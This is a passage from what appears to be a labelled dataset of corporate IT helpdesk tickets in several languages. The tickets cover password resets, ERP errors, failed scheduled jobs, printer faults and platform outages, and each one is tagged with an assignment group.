help. his user id is porteta",GRP_0 +"vmsliazh ltksxmyv causing high cpu utilization on server HostName_341 we've noticed that the cpu utilization on the mii uacyltoe hxgaycze server, HostName_341, has been hovering around 50% - 70% with occasional spikes to 100%. we have stopped all of the background jobs and even rebooted the server but the utilization is still very high. attached is a screen shot of the task manager processes showing the sql process. is there anything that you can check on this server to see what is consuming so much of the system resources? there are only a few users who are currently using the uacyltoe hxgaycze system at this time",GRP_1 +outlook addin : crm not showing up. outlook addin : crm not showing up.,GRP_0 +"need acces to erp + +received from: umdyvbxo.qwzstijr@gmail.com + +hello, + +1. erp user id having issue: rudras +2. erp system (SID_34, SID_37,..., SID_1,...SID_21,..., SID_51, portal): SID_34 +3. error screenshot: +i am unable to open few transaction codes, +and few codes will not allow me to change anything in the material. +[cid:image001.png@01SID_35348.7dfea860] +4. su53 screenshot: +[cid:image004.png@01SID_35349.1758c680] +5. business justification: i am working for usa and will do the same work as schtrtgoyht (schhdgtmips). +6. reference / mirror user id with same job title having access to it: schhdgtmips + +",GRP_0 +unable to print expense report unable to print expense report,GRP_0 +"password reset from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: tuesday, september 20, 2016 6:58 pm +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: amar - request to reset microsoft online services password for goyvcped.sxbgiajh@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• goyvcped.sxbgiajh@gmail.com +• first name: michbhuael +• last name: laugdghjhlin + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +can not create delivery for sto 4908059474 i had company south_amerirtca look at the sto and someone at our facility and nobody is able to help me. ,GRP_6 +"create co object for aacount 81469651- plant_248 to do gr - delivery 9168437599- sto 4907248786 is not possible to do gr for delivery 9168437599 - sto 5018359897_x000D_ +error below _x000D_ + account 81469651 requires an assignment to a co object_x000D_ +message no. ki235_x000D_ +_x000D_ +diagnosis_x000D_ +you have not defined a co account assignment for an account that is relevant to cost accounting._x000D_ +_x000D_ +system response_x000D_ +account 81469651 is defined as a cost element._x000D_ +this means that you must always specify a co account assignment._x000D_ +_x000D_ +procedure_x000D_ +enter one of the following co account assignments_x000D_ +_x000D_ +order_x000D_ +cost center / cost center/ activity type_x000D_ +sales order item (for a project or cost relevant)_x000D_ +project / wbs element_x000D_ +cost object (process manufacturing)_x000D_ +network/ network activities_x000D_ +business process_x000D_ +profitability segment_x000D_ +real estate object_x000D_ +the posting row affected is 1111111112, account 81469651_x000D_ +",GRP_10 +"application ""hana sidecar prod"" on node ""HostName_1297"" is in a warning state. cpu load is high for that service. application ""hana sidecar prod"" on node ""HostName_1297"" is in a warning state. cpu load is high for that service. ",GRP_14 +account unlock account unlock,GRP_0 +"vip 2 // erp SID_21 account unlock for user vvshyuwb1 vip 2 // erp SID_21 account unlock for user vvshyuwb1 + + +from: stefyty parkeyhrt +sent: tuesday, september 20, 2016 9:31 pm +to: nwfodmhc exurcwkm +subject: amar fw: need unlock my userid: vvshyuwb1 +importance: high + +please assist user aerp. he is a consultant on a project. + +",GRP_0 +"vip 2 // unable to access collaboration_platform +name:brandhyht s muthdyrta +language: +browser:microsoft internet explorer +email:zanivrec.capbfhur@gmail.com +customer number: +telephone: +summary:collaboration_platform problem - when i try to access + +error + +the server is busy now. try again later +correlation id::1e9da59d-50a2-3000-1604-10e20332f108 + +date and time: 9/20/2016 5:49:42 am +",GRP_0 +unable to access collaboration_platform unable to access collaboration_platform,GRP_0 +"customer master can not be changed. hello_x000D_ +_x000D_ +customer №81851756_x000D_ +it changed, but the data is not updated._x000D_ +_x000D_ +from the registration of the ship to only, it has registered a sold to like._x000D_ +",GRP_15 +missing ewa reports for SID_51. i have not received the SID_51 ewa reports for 09/13 and 09/20. please fix.,GRP_14 +vip 2 // unable to access collaboration_platform vip 2 // unable to access collaboration_platform,GRP_0 +unable to access collaboration_platform unable to access collaboration_platform,GRP_0 +"please provide vpn access to ngfedxrp oirmgqcs, hodgek, approved by phjencfg kwtcyazx and andhtyju volkhd pc is job_scheduler owned, company imaged laptop, pc name is job_schedulerbhml70001",GRP_34 +"error while qualify a new leadin ms dynamics crm hi,_x000D_ +i was working in crm and tried to qualify a new lead. when i did i got the below error. please advise._x000D_ +_x000D_ +",GRP_40 +"job Job_1394 failed in job_scheduler at: 09/20/2016 10:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1394 failed in job_scheduler at: 09/20/2016 10:55:00",GRP_9 +unable to click on claims page of insurance website unable to click on claims page of insurance website,GRP_0 +" unable to find any po pending with me hello,_x000D_ +_x000D_ +am unable to find any po pending with me. pl find screen shot, upon going thro' SID_34._x000D_ +kindly do the needfufl._x000D_ +",GRP_29 +"password reset - erp from: sanmhty mahatndhyua +sent: tuesday, september 20, 2016 12:21 pm +to: nwfodmhc exurcwkm +subject: sonia - fw: reminder for approval of requisition 49001312 + +hi, + +please reset erp password as i do not use regularly and have to clear below mentioned pr urgently. + + +",GRP_0 +unable to login to vcenter HostName_795 unable to login to vcenter HostName_795.,GRP_12 +"job kk_uacyltoe hxgaycze failed in job_scheduler at: 09/20/2016 10:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job kk_uacyltoe hxgaycze failed in job_scheduler at: 09/20/2016 10:15:00",GRP_5 +"discount form _x000D_ +_x000D_ +received from: sqlcuhep.railgnfb@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am not able to use the discount request form. following window opens once i click new request. please help!_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35326.c4793b10]_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"replication error : domain controller HostName_752 we see event ld 1127, 1084 and 2108. which is related to dc replication issue. hence will have to reboot the server.",GRP_39 +zredeploy created sto has future committed date sto created by zredeploy has future committed date in it even when stock are available at the sender warehouse. ,GRP_6 +require new driver for local printer. require new driver for local printer.,GRP_0 +am not able to save a spreadsheet into team documents need to be able to save several times a day into team documents - can't attach screenshot - ,GRP_16 +"screenshot + +received from: gbirhjat.fptbrhwv@gmail.com + +please look at this this error message and let me know how to fix it. + +[cid:image001.jpg@01SID_35324.a628ae40] + +marjnstyk r jsytis +senior sales engineer +gbirhjat.fptbrhwv@gmail.com + + +[company_horz_logo] + + + + + +",GRP_40 +"archiving_tool server - optical archive documents _x000D_ +_x000D_ +received from: seltxfkw.ontgxqwy@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +our local application can't download files from archiving_tool server because the content repository address is not returning a valid response._x000D_ +archiving_tool addreess we are tring to call is:_x000D_ +_x000D_ +_x000D_ +_x000D_ +and we obtain the following answer:_x000D_ +_x000D_ +_x000D_ +http status 404 - /procache/cscache_x000D_ +_x000D_ +--------------------------------------------------------------------------------_x000D_ +_x000D_ +type status report_x000D_ +_x000D_ +message /procache/cscache_x000D_ +_x000D_ +description the requested resource is not available._x000D_ +_x000D_ +i kindly ask you to check web service configuration to enable comunication on 8080 port._x000D_ +trying to ping archiving_tool-app the address is solved as 10.2.9.149._x000D_ +_x000D_ +_x000D_ +",GRP_47 +"erp SID_34 password reset name:mfeyouli ndobtzpw +language: +browser:microsoft internet explorer +email:mfeyouli.ndobtzpw@gmail.com +customer number: +telephone: +summary:please reset SID_34 erp account for haunm",GRP_0 +"job Job_2063b failed in job_scheduler at: 09/20/2016 09:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2063b failed in job_scheduler at: 09/20/2016 09:37:00",GRP_6 +outlook does not open outlook does not open,GRP_0 +"the shop_floor_app is reporting a : down status on, lcosm005. please investigate observing alert in monitoring_tool since 09:04 am on 09/20 et:_x000D_ +the shop_floor_app is reporting a : down status on, lcosm005. we are able to ping the server._x000D_ +_x000D_ +c:\users\karansb>ping lcosm005_x000D_ +_x000D_ +pinging lcosm005.company.company.com [57.68.38.7412] with 32 bytes of data:_x000D_ +reply from 57.68.38.7412: bytes=32 time=230ms ttl=124_x000D_ +reply from 57.68.38.7412: bytes=32 time=230ms ttl=124_x000D_ +reply from 57.68.38.7412: bytes=32 time=230ms ttl=124_x000D_ +reply from 57.68.38.7412: bytes=32 time=230ms ttl=124_x000D_ +_x000D_ +ping statistics for 57.68.38.7412:_x000D_ + packets: sent = 4, received = 4, lost = 0 (0% loss),_x000D_ +approximate round trip times in milli-seconds:_x000D_ + minimum = 230ms, maximum = 230ms, average = 230ms_x000D_ +_x000D_ +c:\users\karansb>_x000D_ +_x000D_ +",GRP_12 +clients laptop crashed and will not boot clients laptop crashed and will not boot,GRP_3 +account locked account locked,GRP_0 +"in plant_228 EU_tool is not working since friday we are already in contact with the EU_tool-system in india. we need each imaginal help. since friday 09-20-2016 we have big problems with EU_tool since friday 09-20-2016. today EU_tool we have no chance to confirm our operations, to sign our errors, to set our stockmanagement etc. this is a very great hinderance for plant_228. ",GRP_25 +replace monitor in cell 3 with one that tiyhum kuyiomar sent. replace monitor in cell 3 with one that tiyhum kuyiomar sent.,GRP_3 +"vip 2: collaboration_platform access problem + +received from: kzbuhixt.zjdmoahr@gmail.com + +i'm not able to log into collaboration_platform or collaboration_platform. i have restarted my pc multiple times and tried to log in but cannot do so. please advise! see screen shots below. - + +[cid:image001.png@01SID_3531f.1b49eff0] + +[cid:image002.png@01SID_3531f.1b49eff0] + +sethdyr hdtyr +assistant general counsel – compliance and real estate + +kzbuhixt.zjdmoahr@gmail.com + +",GRP_0 +"collaboration_platform + +received from: rxqtvanc.kthqwxvb@gmail.com + +company collaboration_platform is down. cannot access the hub. keep getting this message. + +[cid:image001.png@01SID_3531e.f83adec0] + +rxqtvanc kthqwxvb +region controller - amerirtcas +email: rxqtvanc.kthqwxvb@gmail.com + + +",GRP_16 +replace monitor across from yolktfas fyoxqgvh. a different cable is needed. replace monitor across from yolktfas fyoxqgvh. a different cable is needed.,GRP_3 +"i can not access the company collaboration_platform server in usa. i get an error message indicating ""the server is busy right now. try again later"". please see the attachment to review the message. if you need additional information, i can be reached at (",GRP_0 +"vip2: the hub / collaboration_platform is down + +received from: lpoebzsc.grknswyo@gmail.com + +i am unable to access the hub, collaboration_platform, and collaboration_platform. i receive the below error. + +[cid:image001.png@01SID_3531e.66b94450] + +best, + +lpoebzsc grknswyo +executive assistant tofinance_vip1, + vice president and chief financial officer +lpoebzsc.grknswyo@gmail.com + + + + +",GRP_0 +"cursors moving in the opposite direction. cursors moving in the opposite direction._x000D_ +_x000D_ +",GRP_0 +erp SID_34 account locked. erp SID_34 account locked. ,GRP_0 +"erp password reset for user : lombab +summary:operator does not know their mii erp username or password",GRP_0 +inc1552016 - ticket update inc1552016 - ticket update,GRP_0 +server is busy on collaboration_platform server is busy on collaboration_platform,GRP_0 +"2 active content versions we can't open and save 71844588 nxa as there are two epj active content versions._x000D_ +_x000D_ +i've tried using /dscsag/dms_kpro_double_repair without success._x000D_ +_x000D_ +according to bob ...""there is a report in erp called rsir_content_unmarkhty_prelim that should resolve the issue with multiple active content versions""",GRP_11 +"vip 2 printer drivers not installing unsuccessful installing drivers for network printers (tc48 & tc19); attempts result in ""error processing request.""",GRP_0 +company.collaboration_platform.com : application status is down from 8:47 am et 09/20. company.collaboration_platform.com : application status is down from 8:47 am et 09/20.,GRP_16 +drucker em95 defekt drucker em95 druckt nicht mehr irgend ein fehler im papiereinzug nach anweisung fehlermeldung nachgeschaut und nichts gefunden?,GRP_42 +error message and different views during working on crm i' m getting exit pop-ups - i attached screens,GRP_15 +wk25 erp drucker druckt nicht sauber. seiten wedgrtyh ahsnwtey. wk25 erp drucker druckt nicht sauber. seiten wedgrtyh ahsnwtey.,GRP_33 +vip 2 // unable to sign in to one note as password is not synching vip 2 // unable to sign in to one note as password is not synching,GRP_0 +"account auf iphone löschen und neu anlegen. da durch den zugriff per iphone auf den mail account das gesamte konto gesperrt wurde, _x000D_ +muss der account auf dem iphone gelöscht und neu anlegt werden.",GRP_24 +"passwort muß nochmals zurückgestzt werden. vermutlich hat der zugriff mit dem iphone das konto wieder gesperrt._x000D_ +passwort muß nochmals zurückgestzt werden. /jxphgfmb gjbtuwek",GRP_24 +erp SID_34 password reset request erp SID_34 password reset request ,GRP_0 +user is unable to open presentation from outlook client. user is unable to open presentation from outlook client.,GRP_19 +archive emails old e-mails - they have been archived somewhere? i need to access - how do i get there?,GRP_0 +"inc1552901: packet drops in india -1111460708 + +received from: mnlazfsr.mtqrkhnx@gmail.com + +from: ramdntythanjeshkurtyar [mailto:radjkanjesh.sidrthy@telecom_vendor_1corp.com] +sent: tuesday, september 20, 2016 6:06 am +to: spxqmiry zpwgoqju; sadjuetha shwyhdtu +cc: datacenter; network; sot.south@telecom_vendor_1corp.com +subject: re: packet drops + +dear vignbhyesh, + +we are experiencing internal fiber media issue outage. + +team is working on for restoration. etr is 4.30 pm. + + +warm ",GRP_8 +"windows update kb4283716 makes logon the telephony_software imposible ( do not assign to telephony_software admins) when users delete the update, it will run the update every day. the update makes it impossible to logon to the telephony_software phone system._x000D_ +therefor we need to have a easy way to remove the update or avoid the update to be installed._x000D_ +_x000D_ +this is a global issue although mostly seen within europe._x000D_ +_x000D_ +",GRP_65 +"engineering tool related issue _x000D_ +_x000D_ +received from: zdgxtfqs.tibmhxcs@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +please refer the below screen shot for engineering tool related issue._x000D_ +after installing software update, i am unable make new customer entries. please note that option button for new customer entry is not appearing._x000D_ +_x000D_ +kindly resolve the problem at the earliest._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35364.8a8deca0]_x000D_ +_x000D_ +best ",GRP_25 +"one note issue _x000D_ +_x000D_ +received from: lhejbwkc.xbmyvnqf@gmail.com_x000D_ +_x000D_ +hi_x000D_ +_x000D_ +when a one note workbook is shared with me i can only open the web view and get below error message:_x000D_ +_x000D_ +[cid:image001.png@01SID_35346.ecc0c320]_x000D_ +_x000D_ +according to the owner i have permission to open it._x000D_ +_x000D_ +",GRP_16 +"problem with hagemeyer oci shop in SID_34 purchasing as discussed_x000D_ +",GRP_29 +"cvd amount wrongly generated _x000D_ +_x000D_ +received from: ikerxqwz.prkyuitl@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +vide below mentioned inwarehouse_tool , customer has returned material without excise papers ._x000D_ +_x000D_ +we find system has debited cvd amount and also credited expenses ._x000D_ +_x000D_ +please review and rectify accordingly_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01SID_3535e.501961e0]_x000D_ +_x000D_ +",GRP_10 +reset password in SID_50 - user zigioachstyac reset password in SID_50 - user zigioachstyac,GRP_2 +bitte im laufwerk germany unter m:\berechnungsprogramdntym die datei db_stp vom datum 19.09.2016 wiederherstellen. bitte im laufwerk germany unter m:\berechnungsprogramdntym die sicherungsdatei db_stp vom datum 19.09.2016 wiederherstellen. benötigen wir um produktionsinfos raus zu geben.,GRP_12 +"not able to build distributor_tool project in local system not able to build distributor_tool project in local system._x000D_ +when i login(vvhstyap) with my details, i m not able to build project in my local system. but, when my colleague log's in with his login details, he's able to build the project in my local system_x000D_ +so kindly look into this on priority as it is stopping my development activities._x000D_ +you can use venktyamk12 login name as a reference to map the roles to me.",GRP_2 +"awb 0276036761 / sin - jnb it help,_x000D_ +_x000D_ +for dn# 9169292812, the post code is 1518 on the shipping label from kis as below. _x000D_ +but the correct post code should be 1478 as cec confirms it's same in customer master. _x000D_ +copy the screens below. _x000D_ +_x000D_ +can you check what caused the wrong post code on the label? ",GRP_18 +"rma process fault in erp hello,_x000D_ +_x000D_ +_x000D_ +could you please resolve the following issue immediately?_x000D_ +_x000D_ +issue: trying to rma with using ""zlx5"" which is the erp process for returning goods and there are the below screen shot shows fault._x000D_ +_x000D_ + _x000D_ +_x000D_ + _x000D_ +_x000D_ + _x000D_ +_x000D_ +best ",GRP_18 +"engineering_tool update _x000D_ +_x000D_ +received from: xwertljy.zrmlhkyq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +_x000D_ +new customer addition button is missing please update, matheywter urgent._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35359.4f8d67d0]_x000D_ +",GRP_25 +"zugriff auf verlauf m:\skv-alicona. hallo , + +folgende mitarbeiter benötigen zugriff auf unten stehen verlauf + +m:\skv-alicona + +mitarbeiter: rhaycqjg arcgonvy (kudhnyuhnm), nfybpxdg yjtdkfuo (kesrgtyu), lxfnwyuv bqmjyprz (rockehsty) hgrvubzo wgyhktic (koiergyvh) und hnyeajrw ctxjsolz (simekdty) + +vergleichsmitarbeiter: h. beckshtywsnh ( beckshtyw) +",GRP_24 +"erp user profile for pthsqroz moedyanvess i need to complete a npc task in erp, but i get error messages, see attachement._x000D_ +_x000D_ +please cancel chg1145533 as this got created by mistake.",GRP_2 +"HostName_1132: web tier (epmsystem2) & java server (epmsystem2) are down. HostName_1132 : oracle finance_app financial management - web tier (epmsystem2) - service monitor(unknown)_x000D_ +HostName_1132 : oracle finance_app financial management - java server (epmsystem2) - service monitor(unknown)_x000D_ +",GRP_12 +"drucker em26 geht nicht mehr drucker em26 geht nicht mehr trotz mehrere druckaufträge_x000D_ +kein anderer drucker instaliert _x000D_ +bitte drucker em47 auch instalieren",GRP_42 +unable to launch erp unable to launch erp,GRP_28 +"need access to emails of qiscgfjv.kxfdsijv@gmail.com for a year. need access to emails of qiscgfjv.kxfdsijv@gmail.com for a year. + +ph: ",GRP_26 +rickjdt has confirmed that the password is working after reset. rickjdt has confirmed that the password is working after reset. ,GRP_0 +bitte um freigabe von m:\skv-alicona. bitte um freigabe von m:\skv-alicona. /hnyeajrw ctxjsolz,GRP_12 +brauche freigabe für m:\skv-alicona. brauche freigabe für m:\skv-alicona. /hgrvubzo wgyhktic,GRP_12 +erp SID_34 password reset erp SID_34 password reset ,GRP_0 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 09/20/2016 05:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 09/20/2016 05:40:00",GRP_8 +brauche freigabe für m:\skv-alicona. brauche freigabe für m:\skv-alicona. /lxfnwyuv bqmjyprz,GRP_12 +bitte freigabe für m:\skv-alicona einrichten. bitte freigabe für m:\skv-alicona einrichten. /nfybpxdg yjtdkfuo,GRP_12 +bitte freigabe für m:\skv-alicona einrichten. bitte freigabe für m:\skv-alicona einrichten. /rhaycqjg arcgonvy,GRP_12 +"www.company.com web site - engineering_tool ""product selector"" link reported as not working mikhghytr kinsella has reported that the ""product selector"" link does not work www.company.com home page_x000D_ +it allows selection as far as material type and then goes to a contacts page",GRP_51 +erp & other internet service are slow for all users erp & other internet service are slow for all users,GRP_4 +ainw8911993 new india patching_antivirus_sw desktop server is down this pc is offline since 30th aug.,GRP_19 +"unable to download engineering_tools . _x000D_ +_x000D_ +received from: vkezwolt.fgnqzeai@gmail.com_x000D_ +_x000D_ +kindly look into , unable to extract and open engineering_tool files._x000D_ +_x000D_ +please revert back with top priority and same case studies are required to be discussed._x000D_ +_x000D_ +get the below error._x000D_ +_x000D_ +_x000D_ +[cid:image004.jpg@01SID_3534d.2ab61030]_x000D_ +_x000D_ +best ",GRP_25 +"job Job_3182 failed in job_scheduler at: 09/20/2016 05:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3182 failed in job_scheduler at: 09/20/2016 05:00:00",GRP_10 +bitte die drucker umstellen und konfigurieren bitte die drucker umstellen und konfigurieren /vaigycet jtgmpdcr,GRP_24 +"error message during route card release + +received from: phqwmniy.kjucgqom@gmail.com + +hello, + +while route card release error message appearing and route card not get printed: +[cid:image001.jpg@01SID_3534a.f3add890] + +required help in resolving the issue, +[cid:image002.png@01SID_3534a.f3add890] + +p please do not print this email unless it is absolutely necessary. spread environmental awareness. + +confidentiality caution: this communication (including any accompanying documents) is intended only for the sole use of the person(s) to whom it is addressed and may contain information that is privileged,confidential and exempt from disclosure. any unauthorised reading,dissemination ,distribution,duplication of this communication by someone other than the intended recipient is strictly prohibited. if your receipt of this communication is in error,please notify the sender and destrtgoy the original communication immediately.",GRP_45 +erp net weaver funktioniert nicht. pc: empw7000230 erp net weaver funktioniert nicht. pc: empw7000230,GRP_0 +telefon defekt. gigaset charger for sl3 professional. chargeur posrt poste 8010 sl3; ft584095 octophon sl3 prof. ladeschale mnr 51346687; s30852-s1982-r141-5; telefonnummer: 09279-80419; büro prozessflussverantwortliche scdp,GRP_33 +"wrong printing on awa voucher inwarehouse_tools hello, when awa 81408476 - order with voucher - the printing says the discount is 130% - which is wrong. please check and correct this. example in attachment. ",GRP_13 +"erp frequent disconnections _x000D_ +_x000D_ +received from: rgtarthi.erjgypa@company.com_x000D_ +_x000D_ +hello help,_x000D_ +_x000D_ +there is frequent disconnections in erp & is very slow also._x000D_ +please have it checked at the earliest. ",GRP_4 +"unable to login to windows unable to login to windows +error :- domain controller logon balancing error +contact no:- +mobile:- +location :-germany (germany) + + +",GRP_19 +windows account locked windows account locked ,GRP_0 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 09/20/2016 04:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 09/20/2016 04:09:00",GRP_8 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +"job Job_2406b failed in job_scheduler at: 09/20/2016 04:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2406b failed in job_scheduler at: 09/20/2016 04:00:00",GRP_8 +passwort ist abgelaufen. bitte reset einleiten. auch für das iphone. passwort ist abgelaufen. bitte reset einleiten. auch für das iphone. /jxphgfmb gjbtuwek,GRP_24 +"erp SID_1 access while starting erp SID_1 i get an error logon balancing error 88 + +see attachment + +this is for user vadnhyt and stegyhui and manjhyt + +",GRP_0 +"india kirty, packet drops on telecom_vendor_1 link since at 12:48 am et on 9/20. telecom_vendor_1#24090835 india kirty, packet drops on telecom_vendor_1 link since at 12:48 am et on 9/20.",GRP_8 +erp business_client 不能使用，更新msdotnet_461_business_client_50_SID_792。 更新msdotnet_461_business_client_50_SID_792 .,GRP_31 +"please check order# 35042103 - voucher v-00011418 the order header is showing this voucher code, and the line item details are also showing this voucher code under ""additional data b"". nevertheless, table vbap-zzcmpgn_id is empty._x000D_ +the printed acknowledgement and inwarehouse_tool are not referring this voucher code, but pricing has considered the voucher discount._x000D_ +something is not correct...._x000D_ +_x000D_ +if voucher is not relevant for this customer/ship-to, then it should not consider voucher discount.",GRP_13 +HostName_894 : volume: c:\ label:sys-HostName_894 28385a7b is over 85% space consumed. space available: 4.6 g HostName_894 : volume: c:\ label:sys-HostName_894 28385a7b is over 85% space consumed. space available: 4.6 g,GRP_39 +"request + +received from: yxliakph.soucfnqe@gmail.com + +sir, +the salary slip user id is locked for our apprentice jahtyuj-with id no: 20286786. +pl. help to retrieve the same + + + +best ",GRP_0 +"i can't reiceve e-mail form my mobile phone. could you reset my company mobile phone. details are below._x000D_ +_x000D_ +cihaz modeli: iphone7c2_x000D_ +cihaz türü: iphone_x000D_ +cihaz kimliği: 8hnorau8ap7era614bd7lb3t7c_x000D_ +cihaz işletim sistemi: ios 10.0.sartlgeo lhqksbdx4a403_x000D_ +cihaz kullanıcı aracısı: apple-iphone7c2/1401.403_x000D_ +cihaz imei: 352090078991606_x000D_ +exchange activesync sürümü: 16.1_x000D_ +cihaz erişim durumu: quarantined_x000D_ +cihaz erişim durumu nedeni: global_x000D_ +",GRP_0 +"cant create a delivery note for a stock transfer SID_34_x000D_ +create a delivery note for mm6339959 (5018954001) sto to apac_x000D_ +see error message on att._x000D_ +",GRP_6 +"add printer ag25 10.165.44.227 _x000D_ +_x000D_ +received from: sbgvrncj.idfhtoqv@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i am trying to add this printer but i receive the following message._x000D_ +please enable it so that i can connect to this printer which is in the erp room here in germany, where i am attending a workshop for 2 weeks until 1 october._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01SID_3531d.293ae2b0]_x000D_ +_x000D_ +many ",GRP_0 +"telephony_software - description telephony_software - department description_x000D_ +_x000D_ +for the germany users the description of the department was updated to ifbg._x000D_ +as we would have expected cfc (customer fulfillment center) instead please let me know what it stands for and for what reason it has been changed.",GRP_0 +"please fix the issues mentioned under description in SID_34. swathi and you coordinate and work on it please.. 1) sm21 - transaction canceled fp 045 ( vbkpf 5432 2016 3611112300 )_x000D_ +_x000D_ +2) sm21 - nieconn_refused(-10),remote communication failure with partner _x000D_ +_x000D_ +3) SID_183 - update terminated - system error: j_1b_nfe_update_xblnr .error during update table bkpf",GRP_14 +erp ticket erp ticket,GRP_0 +"wireless access companyguest request + +received from: sbgvrncj.idfhtoqv@gmail.com + +hello, +please usa kahrthyeuiuiw koithc from hr_tool wireless access for germany germany from 20-23 september and confirm when done. + +kathatryuna.koithc@hr_tool.com sctqwgmj yambwtfk + +many ",GRP_0 +"vsbhyrt is unable to open eng engineering tool nor able to log in to password_management_tool to reset passwords - vsbhyrt is unable to open eng engineering tool nor able to log in to password_management_tool to reset passwords -_x000D_ +pls help._x000D_ +_x000D_ +",GRP_0 +unable to browse company collaboration_platform site unable to browse company collaboration_platform site,GRP_19 +"job Job_1148 failed in job_scheduler at: 09/20/2016 01:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 09/20/2016 01:15:00",GRP_9 +"reset password for erp SID_34 production - user id = laijuttr _x000D_ +_x000D_ +received from: wyxqkzmf.urigtqnp@gmail.com_x000D_ +_x000D_ +hi help desk_x000D_ +_x000D_ +kindly help to reset my password for SID_34 production as i am not able to login after changed password this morning. ",GRP_0 +he is not able to click on the icons. he is not able to click on the icons. he is able to login to citrix. please refer to the screenshot.,GRP_12 +"re: ticket_no1551447 -- comments added + +received from: peuckbvr.tjihmgsv@gmail.com + +hello bohyub & pradtheyp, + +yesterday jaya conveyed all that we discussed about changes required in graphics portal. + +all requirements are fulfilled, you please go-ahead and change. + +",GRP_0 +unable to login to engineering tool unable to login to engineering tool ,GRP_0 +beim benutzer klarp am pc evhw8114323 funktioniert das erp nicht richtig. er hat sich bereits am pc evhw8114113 geuacyltoe hxgayczeet und da funktioniert es einwandfrei.,GRP_0 +unable to login to erp SID_34 account unable to login to erp SID_34 account ,GRP_0 +"job Job_1330 failed in job_scheduler at: 09/20/2016 00:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1330 failed in job_scheduler at: 09/20/2016 00:13:00",GRP_9 +windows account locked windows account locked ,GRP_0 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"crm portal login issue_ kxmidsga zokivdfa _x000D_ +_x000D_ +received from: kxmidsga.zokivdfa@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +i am not able to access the ""crm"" portal. please do the need full._x000D_ +_x000D_ +screen shot of error attached._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35321.1ca7c050]_x000D_ +_x000D_ +with best ",GRP_22 +"job Job_1141 failed in job_scheduler at: 09/19/2016 23:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1141 failed in job_scheduler at: 09/19/2016 23:45:00",GRP_9 +computer running slow computer running slow ,GRP_31 +"erp _x000D_ +_x000D_ +received from: hmjdrvpb.komuaywn@gmail.com_x000D_ +_x000D_ +hi it,_x000D_ +_x000D_ +i regularly have trouble with erp lagging, particularly it seems after 12pm our time._x000D_ +last week, especially friday it was very bad all day._x000D_ +yesterday and today, again it seems to lag after that 12 noon time._x000D_ +this is becoming continuously embarrassing during phone calls when i am required to search for stock or quote/order over the phone as i have to apologise for the system taking so long._x000D_ +_x000D_ +there are two other csr's in the building, uisewznr ewtmkphs rarely has the same trouble (his system seems faster though), much faster than mine or duoyrpvi wgjpviul, amy's system will lag but not as much as mine._x000D_ +_x000D_ +can you please shed some light on this scenario?_x000D_ +_x000D_ +note: it is more convenient for this office if i can be contacted mid/late mornings._x000D_ +_x000D_ +kind ",GRP_14 +"shipping dashbankrd - data/information not displayed when i select ""previous week"". shipping dashbankrd - tabs which have data refresh issue: (maybe data is not being refreshed daily or something has broken with respect to daily extraction""_x000D_ +freight cost- region analysis_x000D_ +packages dashbankrd_x000D_ +%total freight cost by sales org and shipping location_x000D_ +export indicator analysis_x000D_ +delivery type analysis_x000D_ +carrier wise analysis_x000D_ +shipping statistics_x000D_ +_x000D_ +data is not being refreshed daily as i can't find reports when i select ""previous week"".",GRP_9 +vpn not working- vpn.company.com link is giving error vpn not working- vpn.company.com link is giving error,GRP_0 +"job Job_2555 failed in job_scheduler at: 09/19/2016 22:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2555 failed in job_scheduler at: 09/19/2016 22:00:00",GRP_10 +"problems with ap vpn _x000D_ +_x000D_ +received from: elixsfvu.pxwbjofl@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +i have problems using ap vpn from home._x000D_ +_x000D_ +[cid:image001.png@01SID_35323.a62bff10]_x000D_ +_x000D_ +best ",GRP_0 +"kis documents will not generate because the sto has no pricing. kis documents will not generate because the sto has no pricing._x000D_ +dn 9169203442 sto 4908112195",GRP_18 +"wrong unit price on inwarehouse_tool _x000D_ +_x000D_ +received from: ovhtgsxd.dcqhnrmy@gmail.com_x000D_ +_x000D_ +it help,_x000D_ +_x000D_ +we have one shipment from apac to indonesia as attachment. the unit price is 67.89 on the inwarehouse_tool from erp, but it should be 0.04/pcs._x000D_ +_x000D_ +can you check what caused the wrong price on 